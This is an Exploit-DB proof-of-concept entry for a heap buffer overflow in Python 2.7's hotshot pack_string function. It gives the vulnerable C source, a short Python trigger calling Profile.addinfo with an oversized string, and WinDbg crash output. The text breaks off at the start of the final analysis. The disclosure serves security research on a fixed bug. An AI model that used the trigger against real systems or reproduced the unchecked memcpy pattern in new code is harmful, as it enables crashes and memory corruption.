Exploit-DB #38615
Description: Python 2.7 hotshot Module - 'pack_string' Heap Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2015-11-03
Author: John Leitch

Exploit:
Title: Python 2.7 hotshot pack_string Heap Buffer Overflow
Credit: John Leitch (john@autosectools.com)
Url1: http://autosectools.com/Page/Python-hotshot-pack_string-Heap-Buffer-Overflow
Url2: http://bugs.python.org/issue24481
Resolution: Fixed

The Python 2.7 hotspot module suffer from a heap buffer overflow due to a memcpy in the pack_string function at line 633:

static int
pack_string(ProfilerObject *self, const char *s, Py_ssize_t len)
{
    if (len + PISIZE + self->index >= BUFFERSIZE) {
        if (flush_data(self) < 0)
            return -1;
    }
    assert(len < INT_MAX);
    if (pack_packed_int(self, (int)len) < 0)
        return -1;
    memcpy(self->buffer + self->index, s, len);
    self->index += len;
    return 0;
}

The problem arises because const char *s is variable length, while ProfilerObject.buffer is fixed-length:

typedef struct {
    PyObject_HEAD
    PyObject *filemap;
    PyObject *logfilename;
    Py_ssize_t index;
    unsigned char buffer[BUFFERSIZE];
    FILE *logfp;
    int lineevents;
    int linetimings;
    int frametimings;
    /* size_t filled; */
    int active;
    int next_fileno;
    hs_time prev_timeofday;
} ProfilerObject;

An overflow can be triggered by passing a large string to the Profile.addinfo method via the value parameter:

from hotshot.stats import *
x = hotshot.Profile("A", "A")
x.addinfo("A", "A" * 0xfceb)

Which produces the following exception:

0:000> r
eax=00000041 ebx=0000fceb ecx=00003532 edx=00000002 esi=075dcb35 edi=075d9000
eip=6c29af1c esp=0027fc78 ebp=0027fc80 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
MSVCR90!LeadUpVec+0x70:
6c29af1c f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> db edi-0x10
075d8ff0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075d9000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
075d9010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
075d9020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
075d9030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
075d9040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
075d9050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
075d9060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000> db esi
075dcb35  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075dcb45  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075dcb55  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075dcb65  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075dcb75  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075dcb85  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075dcb95  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075dcba5  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> !heap -p -a edi
    address 075d9000 found in
    _DPH_HEAP_ROOT @ 6ca1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 722809c:          75d67c8             2838 -          75d6000             4000
    6c3194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
    77a257b7 ntdll!RtlDebugAllocateHeap+0x0000003c
    779c77ce ntdll!RtlpAllocateHeap+0x0004665a
    77981134 ntdll!RtlAllocateHeap+0x0000014d
    6c2c3db8 MSVCR90!malloc+0x00000079 [f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
    1e0ae6d1 python27!PyObject_Malloc+0x00000161 [c:\build27\cpython\objects\obmalloc.c @ 968]

 
0:000> !heap -p -a esi
    address 075dcb35 found in
    _DPH_HEAP_ROOT @ 6ca1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 7228068:          75da300             fd00 -          75da000            11000
    6c3194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
    77a257b7 ntdll!RtlDebugAllocateHeap+0x0000003c
    779c77ce ntdll!RtlpAllocateHeap+0x0004665a
    77981134 ntdll!RtlAllocateHeap+0x0000014d
    6c2c3db8 MSVCR90!malloc+0x00000079 [f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
    1e0ae6d1 python27!PyObject_Malloc+0x00000161 [c:\build27\cpython\objects\obmalloc.c @ 968]

 
0:000> k4
ChildEBP RetAddr  
0027fc80 1e008380 MSVCR90!LeadUpVec+0x70 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 289]
0027fc90 1e008407 python27!pack_string+0x40 [c:\build27\cpython\modules\_hotshot.c @ 634]
0027fca8 1e0089bb python27!pack_add_info+0x77 [c:\build27\cpython\modules\_hotshot.c @ 652]
0027fcc0 1e0aafd7 python27!profiler_addinfo+0x5b [c:\build27\cpython\modules\_hotshot.c @ 1020]
0:000> .frame 1
01 0027fc90 1e008407 python27!pack_string+0x40 [c:\build27\cpython\modules\_hotshot.c @ 634]
0:000> dV
           self = 0x075dcb35
              s = 0x075da314 "AAAAAAAAAAAAAAAAAAA[...]AA..."
            len = 0n123572224
0:000> dt self
Local var @ esi Type ProfilerObject*
   +0x000 ob_refcnt        : 0n[PII_REDACTED]
   +0x004 ob_type          : 0x41414141 _typeobject
   +0x008 filemap          : 0x41414141 _object
   +0x00c logfilename      : 0x41414141 _object
   +0x010 index            : 0n[PII_REDACTED]
   +0x014 buffer           : [10240]  "AAAAAAAAAAAAAAAAAAA[...]AA..."
   +0x2814 logfp            : 0x41414141 _iobuf
   +0x2818 lineevents       : 0n[PII_REDACTED]
   +0x281c linetimings      : 0n[PII_REDACTED]
   +0x2820 frametimings     : 0n[PII_REDACTED]
   +0x2824 active           : 0n[PII_REDACTED]
   +0x2828 next_fileno      : 0n[PII_REDACTED]
   +0x2830 prev_timeofday   : 0n[PII_REDACTED]474983745

0:000> !analyze -v -nodb
*******************************************************************************
*